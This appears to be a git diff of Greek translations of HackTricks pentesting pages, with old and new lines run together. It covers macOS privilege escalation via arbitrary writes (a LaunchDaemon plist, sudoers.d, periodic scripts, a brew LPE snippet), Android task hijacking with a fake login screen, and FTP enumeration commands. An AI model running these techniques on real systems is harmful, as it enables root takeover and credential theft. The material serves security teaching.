Ένας χρήστης μπορεί να τοποθετήσει ένα προσαρμοσμένο αρχείο dmg ακόμα και πάνω από ορισμένους υπάρχοντες φακέλους. Έτσι μπορείτε να δημιουργήσετε ένα προσαρμοσμένο πακέτο dmg με προσαρμοσμένο περιεχόμενο: Ένας χρήστης μπορεί να τοποθετήσει ένα προσαρμοσμένο dmg ακόμη και πάνω σε ορισμένους υπάρχοντες φακέλους. Έτσι μπορείτε να δημιουργήσετε ένα προσαρμοσμένο πακέτο dmg με προσαρμοσμένο περιεχόμενο:
{% code overflow="wrap" %}
```bash ```bash
# Create the volume # Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
@ -237,17 +233,17 @@ hdiutil create -srcfolder justsome.app justsome.dmg
``` ```
{% endcode %} {% endcode %}
## Αυθαίρετη Εγγραφή ## Τυχαίες Εγγραφές
### Περιοδικά sh scripts ### Περιοδικά σενάρια sh
Εάν το σενάριό σας μπορεί να ερμηνευτεί ως ένα **shell script**, μπορείτε να αντικαταστήσετε το **`/etc/periodic/daily/999.local`** shell script που θα εκτελείται καθημερινά. Εάν το σενάριό σας μπορεί να ερμηνευτεί ως ένα **σενάριο κέλυφους**, μπορείτε να αντικαταστήσετε το **`/etc/periodic/daily/999.local`** σενάριο κέλυφους που θα εκτελείται κάθε μέρα.
Μπορείτε να **πλαστογραφήσετε** μια εκτέλεση αυτού του script με: **`sudo periodic daily`** Μπορείτε να **προσομοιώσετε** μια εκτέλεση αυτού του σεναρίου με: **`sudo periodic daily`**
### Δαίμονες ### Δαίμονες
Γράψτε έναν αυθαίρετο **LaunchDaemon** όπως το **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** με ένα plist που εκτελεί ένα αυθαίρετο script όπως: Γράψτε ένα τυχαίο **LaunchDaemon** όπως το **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** με ένα plist που εκτελεί ένα τυχαίο σενάριο όπως:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -264,32 +260,48 @@ hdiutil create -srcfolder justsome.app justsome.dmg
</dict> </dict>
</plist> </plist>
``` ```
Απλά δημιουργήστε το σενάριο `/Applications/Scripts/privesc.sh` με τις **εντολές** που θα θέλατε να εκτελεστούν ως root. ### Δημιουργία script
Απλά δημιουργήστε το script `/Applications/Scripts/privesc.sh` με τις **εντολές** που θα θέλατε να εκτελεστούν ως root.
### Αρχείο Sudoers ### Αρχείο Sudoers
Εάν έχετε **αυθαίρετη εγγραφή**, μπορείτε να δημιουργήσετε ένα αρχείο μέσα στον φάκελο **`/etc/sudoers.d/`** που θα σας παραχωρεί δικαιώματα **sudo**. Αν έχετε **αυθαίρετη εγγραφή**, μπορείτε να δημιουργήσετε ένα αρχείο μέσα στον φάκελο **`/etc/sudoers.d/`** που να σας παρέχει δικαιώματα **sudo**.
### Αρχεία PATH ### Αρχεία PATH
Το αρχείο **`/etc/paths`** είναι ένα από τα κύρια μέρη που γεμίζει τη μεταβλητή περιβάλλοντος PATH. Πρέπει να είστε root για να το αντικαταστήσετε, αλλά εάν ένα σενάριο από **προνομιούχο διεργασία** εκτελεί κάποια **εντολή χωρίς την πλήρη διαδρομή**, μπορείτε να το **αποκλέισετε** τροποποιώντας αυτό το αρχείο. Το αρχείο **`/etc/paths`** είναι ένα από τα κύρια μέρη που γεμίζουν τη μεταβλητή περιβάλλοντος PATH. Πρέπει να είστε root για να το αντικαταστήσετε, αλλά αν ένα script από **προνομιούχο διεργασία** εκτελεί κάποια **εντολή χωρίς την πλήρη διαδρομή**, μπορείτε να το **αρπάξετε** τροποποιώντας αυτό το αρχείο.
Μπορείτε επίσης να γράψετε αρχεία στο **`/etc/paths.d`** για να φορτώσετε νέους φακέλους στη μεταβλητή περιβάλλοντος `PATH`. Μπορείτε επίσης να γράψετε αρχεία στο **`/etc/paths.d`** για να φορτώσετε νέους φακέλους στη μεταβλητή περιβάλλοντος `PATH`.
## Δημιουργία εγγράψιμων αρχείων ως άλλοι χρήστες
Αυτό θα δημιουργήσει ένα αρχείο που ανήκει στο ροοτ και είναι εγγράψιμο από εμένα ([**κώδικας από εδώ**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew\_lpe.sh)). Αυτό ενδέχεται επίσης να λειτουργήσει ως προϋπόθεση εξέλιξης δικαιωμάτων:
```bash
DIRNAME=/usr/local/etc/periodic/daily
mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
```
## Αναφορές ## Αναφορές
* [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/) * [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/)
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details> </details>

View file

@ -2,41 +2,70 @@
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks: Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε** στη 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ τρικς σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> ## Task, Back Stack and Foreground Activities
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στο cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. Στο Android, ένα **task** είναι ουσιαστικά ένα σύνολο δραστηριοτήτων με τις οποίες αλληλεπιδρούν οι χρήστες για την ολοκλήρωση μιας συγκεκριμένης εργασίας, οργανωμένο μέσα σε ένα **back stack**. Αυτή η στοίβα ταξινομεί τις δραστηριότητες με βάση το χρόνο που άνοιξαν, με την πιο πρόσφατη δραστηριότητα να εμφανίζεται στην κορυφή ως **foreground activity**. Ανά πάσα στιγμή, μόνο αυτή η δραστηριότητα είναι ορατή στην οθόνη, καθιστώντας τη μέρος του **foreground task**.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} Εδώ υπάρχει μια γρήγορη ανάλυση των μεταβάσεων δραστηριοτήτων:
*** * Η **Δραστηριότητα 1** ξεκινά ως η μοναδική δραστηριότητα στο foreground.
* Η εκκίνηση της **Δραστηριότητας 2** μετακινεί τη **Δραστηριότητα 1** στο back stack, φέρνοντας τη **Δραστηριότητα 2** στο foreground.
* Η έναρξη της **Δραστηριότητας 3** μετακινεί τη **Δραστηριότητα 1** και τη **Δραστηριότητα 2** περαιτέρω πίσω στη στοίβα, με τη **Δραστηριότητα 3** τώρα μπροστά.
* Το κλείσιμο της **Δραστηριότητας 3** φέρνει τη **Δραστηριότητα 2** πίσω στο foreground, επιδεικνύοντας τον απλοποιημένο μηχανισμό πλοήγησης των tasks του Android.
## Εργασία, Στοίβα Πίσω και Δραστηριότητες Προσκηνίου ![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (548).png>)
Στο Android, μια **εργασία** είναι ουσιαστικά ένα σύνολο δραστηριοτήτων με τις οποίες οι χρήστες αλληλεπιδρούν για να ολοκληρώσουν ένα συγκεκριμένο έργο, οργανωμένο σε μια **στοίβα πίσω**. Αυτή η στοίβα ταξινομεί τις δραστηριότητες με βάση το πότε ανοίχθηκαν, με την πιο πρόσφατη δραστηριότητα να εμφανίζεται στην κορυφή ως **δραστηριότητα προσκηνίου**. Σε κάθε στιγμή, μόνο αυτή η δραστηριότητα είναι ορατή στην οθόνη, καθιστώντας τη μέρος της **εργασίας προσκηνίου**. ## Task affinity attack
Παρακάτω παρουσιάζεται μια σύντομη ανάλυση των μεταβάσεων δραστηριοτήτων: ### Επισκόπηση της Task Affinity και των Λειτουργιών Εκκίνησης
- Η **Δραστηριότητα 1** ξεκινά ως η μόνη δραστηριότητα στο προσκήνιο. Στις εφαρμογές Android, η **task affinity** καθορίζει το προτιμώμενο task μιας δραστηριότητας, συνήθως ευθυγραμμιζόμενη με το όνομα πακέτου της εφαρμογής. Αυτή η ρύθμιση είναι ουσιώδης για τη δημιουργία μιας εφαρμογής proof-of-concept (PoC) για την επίδειξη της επίθεσης.
- Η εκκίνηση της **Δραστηριότητας 2** μετακινεί τη **Δραστηριότητα 1** στη στοίβα πίσω, φέρνοντας τη **Δραστηριότητα 2** στο προσκήνιο.
- Η έναρξη της **Δραστηριότητας 3** μετακινεί τη **Δραστηριότητα 1** και τη **Δραστηριότητα 2** περαιτέρω πίσω στη στοίβα, με τη **Δραστηριότητα 3** να βρίσκεται τώρα μπροστά.
- Το κλείσιμο της **Δραστηριότητας 3** φέρνει τη **Δραστηριότητα 2** πίσω στο προσκήνιο, επιδεικνύοντας το μηχανισμό πλοήγησης της εργασίας του Android.
![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../.gitbook/assets/image (548).png>) ### Λειτουργίες Εκκίνησης
## Επίθεση με βάση την αναγνωριστική εργασίας Το χαρακτηριστικό `launchMode` καθοδηγεί την χειρισμό των περιπτώσεων δραστηριοτήτων εντός των tasks. Η λειτουργία **singleTask** είναι κρίσιμη για αυτήν την επίθεση, διατάσσοντας τρεις σενάρια βάσει των υπαρχουσών περιπτώσεων δραστηριοτήτων και των αντιστοιχιών task affinity. Η εκμετάλλευση βασίζεται στη δυνατότητα της εφαρμογής του επιτιθέμενου να μιμείται την task affinity της εφαρμογής-στόχου, παραπλανώντας το σύστημα Android να εκκινήσει την εφαρμογή του επιτιθέμενου αντί της επιθυμητής στόχου.
### Επισκόπηση της Αναγνωριστικής Εργασίας και των Λειτουργικών Τρόπων Εκκίνησης ### Λεπτομερείς Βήματα Επίθεσης
Στις εφαρμογές Android, η **αναγνωριστική εργασίας** καθορίζει την προτιμώμενη εργασία μιας δραστηριότητας, συνήθως συμβαδίζοντας με το όνομα πακέτου της εφαρμογής. Αυτή η ρ 1. **Εγκατάσταση Κακόβουλης Εφαρμογής**: Ο θύμα εγκαθιστά την κακόβουλη εφαρμογή του επιτιθέμενου στη συσκευή του.
2. **Αρχική Ενεργοποίηση**: Το θύμα ανοίγει πρώτα την κακόβουλη εφαρμογή, προετοιμάζοντας τη συσκευή για την επίθεση.
3. **Προσπάθεια Εκκίνησης της Εφαρμογής-Στόχου**: Το θύμα προσπαθεί να ανοίξει την εφαρμογή-στόχο.
4. **Εκτέλεση Απαγωγής**: Λόγω της αντιστοίχισης της task affinity, η κακόβουλη εφαρμογή εκκινείται αντί της εφαρμογής-στόχου.
5. **Απάτη**: Η κακόβουλη εφαρμογή παρουσιάζει μια ψεύτικη οθόνη σύνδεσης που μοιάζει με την εφαρμογή-στόχο, εξαπατώντας τον χρήστη να εισάγει ευαίσθητες πληροφορίες.
Για μια πρακτική υλοποίηση αυτής της επίθεσης, ανατρέξτε στο αποθετήριο Task Hijacking Strandhogg στο GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
### Μέτρα Πρόληψης
Για την πρόληψη τέτοιων επιθέσεων, οι προγραμματιστές μπορούν να ορίσουν το `taskAffinity` σε κενό συμβολοσειράς και να επιλέξουν τη λειτουργία εκκίνησης `singleInstance`, εξασφαλίζοντας την απομόνωση της εφαρμογής τους από άλλες. Η προσαρμογή της λειτουργίας `onBackPressed()` προσφέρει επιπλέον προστασία ενάντια στην απαγωγή task.
## **Αναφορές**
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν έως τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στη 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
</details>

View file

@ -1,48 +1,40 @@
# 21 - Ελεγκτική δοκιμή FTP # 21 - Ελεγχος Εισβολής στο FTP
<details> <details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές σάρωσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίβα, από APIs έως ιστοσελίδες και συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Βασικές Πληροφορίες ## Βασικές Πληροφορίες
Το **File Transfer Protocol (FTP)** λειτουργεί ως ένα πρότυπο πρωτόκολλο για τη μεταφορά αρχείων σε ένα δίκτυο υπολογιστών μεταξύ ενός διακομιστή και ενός πελάτη.\ Το **Πρωτόκολλο Μεταφοράς Αρχείων (FTP)** λειτουργεί ως ένα πρότυπο πρωτόκολλο για τη μεταφορά αρχείων σε έναν υπολογιστικό δίκτυο μεταξύ ενός διακομιστή και ενός πελάτη.\
Είναι ένα πρωτόκολλο **κειμένου** που χρησιμοποιεί ως **χαρακτήρα νέας γραμμής `0x0d 0x0a`**, επομένως, μερικές φορές χρειάζεται να **συνδεθείτε χρησιμοποιώντας το `telnet`** ή **`nc -C`**. Είναι ένα πρωτόκολλο **κειμένου** που χρησιμοποιεί ως **χαρακτήρα νέας γραμμής `0x0d 0x0a`** οπότε μερικές φορές χρειάζεται να **συνδεθείτε χρησιμοποιώντας `telnet`** ή **`nc -C`**.
**Προεπιλεγμένη Θύρα:** 21 **Προεπιλεγμένη Θύρα:** 21
``` ```
PORT STATE SERVICE PORT STATE SERVICE
21/tcp open ftp 21/tcp open ftp
``` ```
### Ενεργές και Παθητικές Συνδέσεις ### Ενεργές & Παθητικές Συνδέσεις
Στο **Ενεργό FTP**, ο FTP **πελάτης** πρώτα **ξεκινά** την ελέγχου **σύνδεση** από τη θύρα N του πελάτη στην εντολή θύρας του FTP διακομιστή - θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP διακομιστή. Ο FTP **διακομιστής** στη συνέχεια **ξεκινά** την **σύνδεση δεδομένων**, από τη θύρα **M στη θύρα N+1** του FTP πελάτη. Στο **Ενεργό FTP**, ο FTP **πελάτης** πρώτα **εκκινεί** τη σύνδεση ελέγχου από τη θύρα του N στη θύρα εντολών του FTP Διακομιστή - θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Διακομιστή. Ο FTP **Διακομιστής** στη συνέχεια **εκκινεί** τη σύνδεση δεδομένων, από τη θύρα του M στη θύρα N+1 του FTP Πελάτη.
Ωστόσο, αν ο FTP πελάτης έχει ρυθμισμένο ένα τείχος προστασίας που ελέγχει τις εισερχόμενες συνδέσεις δεδομένων από το εξωτερικό, τότε το ενεργό FTP μπορεί να αποτελέσει πρόβλημα. Και, μια εφικτή λύση για αυτό είναι η Παθητική FTP. Ωστόσο, αν ο FTP Πελάτης έχει μια προστατευτική προσαρμογή που ελέγχει τις εισερχόμενες συνδέσεις δεδομένων από έξω, τότε το ενεργό FTP μπορεί να αποτελέσει πρόβλημα. Και, μια εφικτή λύση γι' αυτό είναι το Παθητικό FTP.
Στη **Παθητική FTP**, ο πελάτης ξεκινά την ελέγχου σύνδεση από τη θύρα N στη θύρα 21 του FTP διακομιστή. Έπειτα, ο πελάτης εκδίδει μια εντολή **passv**. Ο διακομιστής στέλνει στον πελάτη έναν από τους αριθμούς θύρας του M. Και ο **πελάτης** **ξεκινά** την **σύνδεση δεδομένων** από τη θύρα **P στη θύρα M** του FTP διακομιστή. Στο **Παθητικό FTP**, ο πελάτης εκκινεί τη σύνδεση ελέγχου από τη θύρα του N στη θύρα 21 του FTP Διακομιστή. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο διακομιστής στέλνει στον πελάτη έναν από τους αριθμούς θύρας του M. Και ο **πελάτης** **εκκινεί** τη σύνδεση δεδομένων από τη θύρα του P στη θύρα M του FTP Διακομιστή.
Πηγή: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) Πηγή: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Αποσφαλμάτωση Σύνδεσης ### Αποσφαλμάτωση Σύνδεσης
Οι εντολές **`debug`** και **`trace`** του **FTP** μπορούν να χρησιμοποιηθούν για να δείτε **πώς γίνεται η επικοινωνία**. Οι εντολές **`debug`** και **`trace`** του **FTP** μπορούν να χρησιμοποιηθούν για να δούμε **πώς εμφανίζεται η επικοινωνία**.
## Απαρίθμηση ## Απαρίθμηση
@ -52,16 +44,6 @@ nc -vn <IP> 21
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
``` ```
### Σύνδεση στο FTP χρησιμοποιώντας το starttls ### Σύνδεση στο FTP χρησιμοποιώντας το starttls
Για να συνδεθείτε σε έναν FTP διακομιστή χρησιμοποιώντας το starttls, ακολουθήστε τα παρακάτω βήματα:
1. Ανοίξτε ένα τερματικό και εκτελέστε την εντολή `ftp` για να ξεκινήσετε το πρόγραμμα FTP.
2. Χρησιμοποιήστε την εντολή `open` για να συνδεθείτε στον FTP διακομιστή. Για παράδειγμα: `open ftp.example.com`.
3. Εισαγάγετε το όνομα χρήστη και τον κωδικό πρόσβασης σας χρησιμοποιώντας τις εντολές `user` και `pass`. Για παράδειγμα: `user myusername` και `pass mypassword`.
4. Εκτελέστε την εντολή `quote PROT P` για να ενεργοποιήσετε το starttls.
5. Εκτελέστε την εντολή `ls` για να δείτε τα αρχεία και τους φακέλους στον FTP διακομιστή.
Με αυτόν τον τρόπο, μπορείτε να συνδεθείτε σε έναν FTP διακομιστή χρησιμοποιώντας το starttls.
``` ```
lftp lftp
lftp :~> set ftp:ssl-force true lftp :~> set ftp:ssl-force true
@ -71,13 +53,13 @@ lftp 10.10.10.208:~> login
Usage: login <user|URL> [<pass>] Usage: login <user|URL> [<pass>]
lftp 10.10.10.208:~> login username Password lftp 10.10.10.208:~> login username Password
``` ```
### Ανεξουσιοδότητη απαρίθμηση ### Ανεξουθενετική απαρίθμηση
Με τη χρήση του **nmap** Με το **nmap**
```bash ```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10 sudo nmap -sV -p21 -sC -A 10.10.10.10
``` ```
Μπορείτε να χρησιμοποιήσετε τις εντολές `HELP` και `FEAT` για να λάβετε πληροφορίες για τον διακομιστή FTP: Μπορείτε να χρησιμοποιήσετε τις εντολές `HELP` και `FEAT` για να λάβετε κάποιες πληροφορίες για τον FTP διακομιστή:
``` ```
HELP HELP
214-The following commands are recognized (* =>'s unimplemented): 214-The following commands are recognized (* =>'s unimplemented):
@ -115,8 +97,8 @@ STAT
``` ```
### Ανώνυμη σύνδεση ### Ανώνυμη σύνδεση
_ανώνυμο : ανώνυμο_\ _anonymous : anonymous_\
_ανώνυμο :_\ _anonymous :_\
_ftp : ftp_ _ftp : ftp_
```bash ```bash
ftp <IP> ftp <IP>
@ -127,104 +109,113 @@ ftp <IP>
